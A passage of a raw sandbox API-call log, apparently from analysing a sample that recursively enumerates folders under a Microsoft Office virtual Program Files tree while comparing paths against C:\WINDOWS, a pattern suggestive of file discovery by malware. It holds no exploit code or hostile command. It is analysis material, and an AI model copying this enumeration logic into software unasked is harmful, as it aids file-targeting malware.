ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1 [0080.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.779] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0 [0080.779] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0080.780] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0080.780] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0 [0080.780] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0080.780] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0080.781] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1 [0080.788] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.788] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0080.788] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0080.788] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0080.788] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0080.791] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0080.791] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0080.791] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0080.792] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0080.792] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0080.792] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0080.793] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0080.793] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0080.793] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0080.793] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1 [0081.019] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.023] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1 [0081.035] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0081.035] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0081.035] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0081.036] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0081.037] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0081.037] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0081.037] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.037] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0081.038] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0081.038] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0081.038] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0081.038] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0081.038] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0081.038] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0081.039] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.039] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0 [0081.039] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0081.039] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0081.040] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1 [0081.043] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0081.043] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0081.044] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0081.044] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0081.044] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0081.044] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0081.044] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0081.044] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0081.044] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0081.044] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0081.044] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0081.045] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0081.045] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0081.046] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.046] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0081.048] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0081.048] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0081.319] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0081.319] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1 [0081.322] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0081.322] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1 [0081.324] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0081.324] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0081.325] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0081.326] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0 [0081.326] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0081.327] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.327] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1 [0081.328] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0081.328] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0081.328] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0081.329] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0081.329] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0081.329] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0081.329] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.330] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0081.332] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0081.332] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0081.332] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0081.332] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0081.332] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0081.332] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0081.333] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.334] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0081.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox") returned 74 [0081.334] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox") returned 1 [0081.334] lstrlenW (lpString="Mozilla Firefox") returned 15 [0081.334] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Mozilla Firefox") returned -1 [0081.334] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0081.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox") returned 74 [0081.334] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\*", lpFindFileData=0x2e9ee10 | out: 